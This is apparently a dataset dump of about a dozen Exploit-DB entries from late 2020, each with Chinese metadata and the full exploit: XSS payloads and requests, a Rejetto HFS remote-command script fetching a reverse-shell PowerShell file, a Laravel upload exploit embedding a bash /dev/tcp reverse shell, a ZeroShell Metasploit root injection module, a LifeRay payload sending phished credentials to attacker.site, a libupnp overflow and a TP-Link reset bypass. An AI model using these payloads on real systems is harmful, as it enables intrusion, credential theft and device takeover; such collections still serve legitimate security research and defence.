QLWD/code_shield huggingface dataset:
标题: LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting EDB-ID: 49137 CVE: 2020-29240 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-01 漏洞利用脚本: # Exploit Title: LEPTON CMS 4.7.0  - 'URL' Persistent Cross-Site Scripting
# Date: 19-11-2020
# Exploit Author: Sagar Banwa
# Vendor Homepage: https://lepton-cms.org/
# Software Link: https://lepton-cms.org/english/download/archive.php
# Version: 4.7.0
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29240

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.

Vulnerable Parameters: Pages URL.

Steps-To-Reproduce:
1. Login to the Admin Account 
2. Go to the Menu-Pages-Pages Overview.
3. Now edit any page
4. Put the below payload in the url input box.
5.ex. https://localhost/_packinstall/"onmouseover=prompt(/xss/)>

POST /LEPTONmvkzycfafg/modules/wrapper/save.php?leptoken=a8274f4a99bb3c2d1d857z1606411062 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 130
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://localhost/LEPTONmvkzycfafg/backend/pages/modify.php?page_id=1&leptoken=33bfc986e094ce5dd7655z1606411059
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: lep5031sessionid=75627dd11a0e789c4e560f7a93cd3153

page_id=1&section_id=1&url=https%3A%2F%2Flocalhost%2F_packinstall%2F%22onmouseover%3Dprompt%28%2Fxss%2F%29%3E+&height=900 URL: https://www.exploit-db.com/exploits/49137
标题: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload EDB-ID: 49129 CVE: 2020-23972 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-01 漏洞利用脚本: # Exploit Title: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
# Google Dork: inurl:''com_gmapfp''
# Date: 2020-03-27
# Exploit Author: ThelastVvV
# Vendor Homepage: https://gmapfp.org/
# Version:Version J3.5 /J3.5free
# Tested on: Ubuntu
# CVE: CVE-2020-23972

# Description:

An attacker can access the upload function of the application without authenticating to the application and also can upload files due the issues of unrestricted file uploads which can be bypassed by changing the content-type and name file too double extensions 

# PoC:


Version J3.5
http://127.0.0.1/index.php?option=com_gmapfp&controller=editlieux&tmpl=component&task=edit_upload

-Once the attacker can locate the unauthenticated file upload form then the attacker can bypass the restriction by changing content-type and name file double extensions file.html.gif then can open file.html

# Impact
the attacker can upload malicious files can cause defacement of the site or uploading large amount of file til causes denial of service attack to Webapp/Server

# Dir File Path:
http://127.0.0.1///images/stories/gmapfp/test.html.gif
http://127.0.0.1///images/stories/gmapfp/test.html
http://127.0.0.1///images/gmapfp/test2.html.gif
http://127.0.0.1///images/gmapfp/test2.html.gif


# Issues are fixed,Please update to Last Version URL: https://www.exploit-db.com/exploits/49129
标题: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting EDB-ID: 49130 CVE: 2020-29395 类型: WEBAPPS 平台: PHP 发布日期: 2020-12-01 漏洞利用脚本: # Exploit Title: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting
# Date: 27.11.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.myeventon.com/
# Version: 3.0.5
# Tested on: Ubuntu 18.04
# CVE : 2020-29395
# Description Link:
https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS

"""
                 ~ VULNERABLITY DETAILS ~
    
    https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>
    
    #
    WordPress sites that use EventOn Calendar cause reflected xss vulnerability to javascript payloads injected 
    into the search field.
    
    #
    The following python code will inject javascript code and print out url that will be sent to victim. 
    If you use unicode caracters for xss , exploit will print page source.

    ##USAGE##
    
    $ sudo python eventon_exploit.py --exploit --url https://target/addons/?q= --payload '<svg/onload=alert(/b3kc4t/)>'

    ##OUTPUT##

    [+] https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>


"""
import requests
import sys
import argparse
from colorama import Fore
        
def vuln_reflected(url, payload):

    s = requests.Session()
    get_request = s.get(url+payload)
    
    if get_request.status_code == 500:
        print(Fore.GREEN+"[-] COULD BE WAF, NOT BE REALIZED XSS INJECTION [-]")

    else:
        content_result = str(get_request.content)
        search_find = content_result.find(payload)

        if search_find != -1:
            print(Fore.GREEN+"[+] "+str(url)+str(payload))

        else:

            print(content_result)


def main():

    desc = "Wordpress EventON Calendar Plugin XSS"
    parser = argparse.ArgumentParser(description=desc)
    exp_option = parser.add_argument_group('')
    parser.add_argument("--exploit", help ="", action='store_true')
    parser.add_argument("--url",help="", type=str, required=False)
    parser.add_argument("--payload",help="",type=str,required=False)

    args = parser.parse_args()

    if args.exploit:

        if args.url:

            if args.payload:
                url = args.url
                payload = args.payload
                vuln_reflected(url, payload)

if name == 'main':
    main() URL: https://www.exploit-db.com/exploits/49130
标题: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated) EDB-ID: 49122 CVE: 2020-24963 类型: WEBAPPS 平台: PHP 发布日期: 2020-11-27 漏洞利用脚本: # Exploit Title: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
# Google Dork: "Powered By Best Support System"
# Date: 2020-08-23
# Exploit Author: Ex.Mi [ https://ex-mi.ru ]
# Vendor: Appsbd [ https://appsbd.com ]
# Software Version: 3.0.4
# Software Link: https://codecanyon.net/item/best-support-systemclient-support-desk-help-centre/21357317
# Tested on: Kali Linux
# CVE: CVE-2020-24963
# CWE: CWE-79


[i] :: Info:

An Authenticated Persistent XSS vulnerability was discovered in the
Best Support System, tested version — v3.0.4.


[$] :: Payloads:

13"-->">'` -- `<!--<img src="--><img src=x
onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);location=`https://ex-mi.ru`;>


[!] :: PoC (Burp Suite POST request):

POST /support-system/ticket-confirm/ticket-reply/11.html HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 350
Origin: https://localhost
Connection: close
Referer: https://localhost/support-system/ticket/details/11.html
Cookie: [cookies_here]

app_form=8d1c319d5826a789b3ca3e71516b0c5c&ticket_body=%3Cp%3E%3Cbr%3E%3C%2Fp%3E13%22--%26gt%3B%22%26gt%3B'%60+--+%60%3C!--%3Cimg+src%3D%22--%3E%3Cimg+src%3D%22x%22+onerror%3D%22(alert)(%60Ex_Mi%60)%3B(alert)(document.cookie)%3Blocation%3D%60https%3A%2F%2Fex-mi.ru%60%3B%22%3E&status=&app_form_ajax=ad1ce2b2c3eb943efaa8c239ff53acc2 URL: https://www.exploit-db.com/exploits/49122
标题: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) EDB-ID: 49125 CVE: 2014-6287 类型: WEBAPPS 平台: WINDOWS 发布日期: 2020-11-30 漏洞利用脚本: # Exploit Title: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
# Google Dork: intext:"httpfileserver 2.3"
# Date: 28-11-2020
# Remote: Yes
# Exploit Author: Óscar Andreu
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

#!/usr/bin/python3

# Usage :  python3 Exploit.py <RHOST> <Target RPORT> <Command>
# Example: python3 HttpFileServer_2.3.x_rce.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.4/shells/mini-reverse.ps1')"

import urllib3
import sys
import urllib.parse

try:
 http = urllib3.PoolManager() 
 url = f'http://{sys.argv[1]}:{sys.argv[2]}/?search=%00{{.+exec|{urllib.parse.quote(sys.argv[3])}.}}'
 print(url)
 response = http.request('GET', url)
 
except Exception as ex:
 print("Usage: python3 HttpFileServer_2.3.x_rce.py RHOST RPORT command")
 print(ex) URL: https://www.exploit-db.com/exploits/49125
标题: Laravel Administrator 4 - Unrestricted File Upload (Authenticated) EDB-ID: 49112 CVE: 2020-10963 类型: WEBAPPS 平台: PHP 发布日期: 2020-11-27 漏洞利用脚本: # Exploit title: Laravel Administrator 4 - Unrestricted File Upload (Authenticated)
# Author: Victor Campos and Xavi Beltran
# Contact: vcmartin@protonmail.com
# Exploit Development: https://xavibel.com/2020/03/23/unrestricted-file-upload-in-frozennode-laravel-administrator/
# Date: 25/3/2020
# Software link: https://github.com/FrozenNode/Laravel-Administrator/
# Version : 4
# Tested on: Laravel-Administrator 4
# CVE : CVE-2020-10963

#!/usr/bin/env python

import requests,json,traceback
from requests.auth import HTTPBasicAuth


#Parameters to be set up (ENTER YOUR VALUES)
#===========================================
# Listener IP and port
ip = ""
port = ""
#Admin credentials
user = ""
password = ""
#URLs of the web application
domain = "" # For example "https://www.example.com"
login_url = "" # For example "/user/login"
fileupload_url = "" # For example "/admin/categories/image/file_upload"
uploaded_files_url = "" # For example "/categories/images"



#Reverse shell payload (DO NOT MODIFY THIS SECTION)
#==================================================
#GIF file header
shell = "GIF89a\r\n"
#php reverse shell
shell += "\x3c?php\r\nexec(\"/bin/bash -c \'bash -i \x3e /dev/tcp/" + ip + "/" + port + " 0\x3e&1\'\");?\x3e\r\n"


with requests.Session() as s:
    try:
        print("\n[+] Logging into the panel")
        s.post(domain + login_url, data={'email':user,'password':password,'remember': '1'})
        print("[+] Uploading the malicious file")
        r = s.post(domain + fileupload_url, files={'name':'Picture.png','file': ('test.php',shell)})
        print("[+] Response text:")
        #print(r.text)
        shell_file = (json.loads(r.text))["filename"]
        print("[+] Name of uploaded file: " + shell_file)
        print("\n[+] Executing the reverse shell on " + ip + ":" + port + "...")
        r = s.get(domain + uploaded_files_url + '/' + shell_file)
    except Exception as e:
        print(str(traceback.format_exc())) URL: https://www.exploit-db.com/exploits/49112
标题: libupnp 1.6.18 - Stack-based buffer overflow (DoS) EDB-ID: 49119 CVE: 2012-5958 类型: DOS 平台: LINUX 发布日期: 2020-11-27 漏洞利用脚本: # Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)
# Date: 2020-08-20
# Exploit Author: Patrik Lantz
# Vendor Homepage: https://pupnp.sourceforge.io/
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download
# Version: <= 1.6.6
# Tested on: Linux
# CVE : CVE-2012-5958

import socket

payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"
payload += "A"*324 + "BBBB"
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"

byte_message = bytes(payload)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(byte_message, ("239.255.255.250", 1900)) URL: https://www.exploit-db.com/exploits/49119
标题: OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting EDB-ID: 49099 CVE: 2020-29470 类型: WEBAPPS 平台: PHP 发布日期: 2020-11-24 漏洞利用脚本: # Exploit Title: OpenCart 3.0.3.6 - 'subject' Stored Cross-Site Scripting
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=cms/download
# Version: 3.0.3.6
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29470

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Subject field of the mail and each time any user will open that mail of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Subject of mail.

Steps-To-Reproduce:
1. Go to the opencart admin page.
2. Now go to the Marketing-Mail option.
3. Put the below payload in subject field of the Mail
: "<script>alert(123)</script>"
5. Now click on send button.
6. The XSS will be triggered.

POST /admin/index.php?route=marketing/contact/send&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5 HTTP/1.1
Host: localhost
Connection: close
Content-Length: 206
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: localhost/admin/index.php?route=marketing/contact&user_token=hYt4UTixry8NDaXiuhXO5mzuahIcOIO5
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: __cfduid=d6a6bab42bd30fb2b2e20cad3dd5a80ed1606187757;

store_id=0&to=newsletter&customer_group_id=1&customers=&affiliates=&products=&subject=hemantsolo%22%2F%3E%3Cscript%3Ealert(123)%3C%2Fscript%3E&message=&=&=&=http%3A%2F%2F&=on&files=&=&=&=&=&file=&=&=&=_self URL: https://www.exploit-db.com/exploits/49099
标题: OpenCart 3.0.3.6 - 'Profile Image' Stored Cross-Site Scripting (Authenticated) EDB-ID: 49098 CVE: 2020-29471 类型: WEBAPPS 平台: PHP 发布日期: 2020-11-24 漏洞利用脚本: # Exploit Title: OpenCart 3.0.3.6 - 'Profile Image' Stored Cross Site Scripting (Authenticated)
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/index.php?route=cms/download
# Version: 3.0.3.6
# Tested on: Windows 10/Kali Linux
# CVE: CVE-2020-29471

Vulnerable Parameters: Profile Image.

Steps-To-Reproduce:
1. Go to the opencart admin page.

2. Now go to the profile page.

* Before the next step write this in notepad ""><svg onload=alert("XSS")>" and save it as an payload.png

3. Now edit the image and uplaod the image as payload.png.

4. The XSS will be triggered. URL: https://www.exploit-db.com/exploits/49098
标题: Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service EDB-ID: 49094 CVE: 2020-13951 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-11-24 漏洞利用脚本: # Exploit Title: Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service
# Google Dork: "Apache OpenMeetings DOS"
# Date: 2020-08-28
# Exploit Author: SunCSR (ThienNV - Sun* Cyber Security Research)
# Vendor Homepage: https://openmeetings.apache.org/
# Software Link: https://openmeetings.apache.org/
# Version: 4.0.0 - 5.0.0
# Tested on: Windows
# CVE: CVE-2020-13951

- POC:
# Vulnerability variable: hostname
# Payload: x.x.x.x;ls
# Request exploit:

GET /openmeetings/wicket/bookmarkable/org.apache.openmeetings.web.pages.HashPage?3-1.0-panel~main&app=network&navigatorAppName=Netscape&navigatorAppVersion=5.0 (Windows)&navigatorAppCodeName=Mozilla&navigatorCookieEnabled=true&navigatorJavaEnabled=false&navigatorLanguage=en-US&navigatorPlatform=Win32&navigatorUserAgent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0&screenWidth=1920&screenHeight=1080&screenColorDepth=24&jsTimeZone=Asia/Ho_Chi_Minh&utcOffset=7&utcDSTOffset=7&browserWidth=1920&browserHeight=966&hostname=x.x.x.x;ls&codebase=https://x.x.x.x:5443/openmeetings/hash&settings=[object Object]&_=1597801817026

- Reference: 
https://lists.apache.org/thread.html/re2aed827cd24ae73cbc320e5808020c8d12c7b687ee861b27d728bbc%40%3Cuser.openmeetings.apache.org%3E
https://nvd.nist.gov/vuln/detail/CVE-2020-13951 URL: https://www.exploit-db.com/exploits/49094
标题: ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit) EDB-ID: 49096 CVE: 2019-12725 类型: WEBAPPS 平台: LINUX 发布日期: 2020-11-24 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zeroshell 3.9.0 Remote Command Execution',
      'Description'    => %q{
        This module exploits an unauthenticated command injection vulnerability 
        found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url. 
        As sudo is configured to execute /bin/tar without a password (NOPASSWD)
        it is possible to run root commands using the "checkpoint" tar options.
      },
      'Author'         => [
        'Juan Manuel Fernandez', # Vulnerability discovery
        'Giuseppe Fuggiano <giuseppe[dot]fuggiano[at]gmail.com>', # Metasploit module
      ],
      'References'     => [
        ['CVE', '2019-12725'],
        ['URL', 'https://www.tarlogic.com/advisories/zeroshell-rce-root.txt'],
        ['URL', 'https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py']
      ],
      'DisclosureDate' => 'Jul 17 2019',
      'License'        => MSF_LICENSE,
      'Privileged'     => true, 
      'Platform'       => [ 'unix', 'linux' ],
      'Arch'           => [ ARCH_X86 ],
      'Targets'        => [
       ['Zeroshell 3.9.0 (x86)', {
         'Platform'    => 'linux',
         'Arch'        => ARCH_X86,
        }],
      ],
      'DefaultTarget'  => 0,
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ])
  end

  def execute_command(cmd, opts = {})
    command_payload  = "%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22#{filter_bad_chars(cmd)}%22%0A%27"

    print_status("Sending stager payload...")

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => '/cgi-bin/kerbynet',
      'encode_params' => false,
      'vars_get' => {
        'Action' => 'x509view',
        'Section' => 'NoAuthREQ',
        'User' => '',
        'x509type' => command_payload
      }
    )

    return res
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
    cmd.gsub!(/;/, " %0A ")
    cmd.gsub!(/ /, '+')
    cmd.gsub!(/\//, '%2F')
    return cmd
  end

  def check
    res = execute_command('id')
    if res && res.body.include?("uid=0(root)")
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    print_status("Exploiting...")
    execute_cmdstager(flavor: :wget, delay: 5)
  end

end URL: https://www.exploit-db.com/exploits/49096
标题: LifeRay 7.2.1 GA2 - Stored XSS EDB-ID: 49091 CVE: 2020-7934 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-11-23 漏洞利用脚本: # Exploit Title: LifeRay 7.2.1 GA2 - Stored XSS
# Date: 10/05/2020 
# Exploit Author: 3ndG4me
# Vendor Homepage: https://www.liferay.com/
# Software Link: https://www.liferay.com/
# Version: 7.1.0 -> 7.2.1 GA2 (REQUIRED)
# Tested on: Debian Linux
# CVE : CVE-2020-7934
# Public Exploit/Whitepaper: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934

# NOTE: The attached proof of concept is a javascript payload,
submitted as a ".txt" file to attach via email as ".js" is often
blocked.

// CVE-2020-7934 Cred Phishing Example Attack
// Author: 3ndG4me
// Github: https://github.com/3ndG4me/liferay-xss-7.2.1GA2-poc-report-CVE-2020-7934

// Host this payload with your site and paste in this script tag into a vulnerable field with your URL replaced where relevant:
// <SCRIPT SRC="//attacker.site/cve-2020-7934.js">

var email = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your email:", "");
var password = prompt("To process this search we need you to confirm your credentials.\n\nPlease confirm your password:", "");


console.log(email);
console.log(password);

var url = "http://attacker.site/" + email + ":" + password;

$.get(url); URL: https://www.exploit-db.com/exploits/49091
标题: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass EDB-ID: 49092 CVE: 2020-24363 类型: WEBAPPS 平台: HARDWARE 发布日期: 2020-11-23 漏洞利用脚本: # Exploit Title: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass
# Date: 2020/07/29
# Exploit Author: malwrforensics
# Vendor Homepage: https://tp-link.com
# Software link: https://static.tp-link.com/2020/202004/20200430/TL-WA855RE_V5_200415.zip
# Version: TL-WA855RE(US)_V5_200415
# Tested on: N/A
# CVE : 2020-24363 
Important: The vendor has released a fix; the new firmware (TL-WA855RE(US)_V5_200731) is available to download from: https://www.tp-link.com/us/support/download/tl-wa855re/v5/#Firmware

Details
By default the web interface of the TL-WA855RE wireless extender require users to log in in order to access the admin interface. However, an attacker, on the same network, can bypass it and use the APIs provided to reset the device to its factory settings by using the TDDP_RESET code. An attacker can then set up a new admin password, resulting in a complete takeover of the device.
To test, you can send a POST request like the one below using the TDDP_RESET (5). The request doesn't need any type of authentication. You can then access the web interface and set a new administrative password.

POST /?code=5&asyn=0 HTTP/1.1
Host: <redacted>
Content-Length: 7
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: text/plain;charset=UTF-8
Origin: http://<redacted>
Referer: http://<redacted>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

0|1,0,0 URL: https://www.exploit-db.com/exploits/49092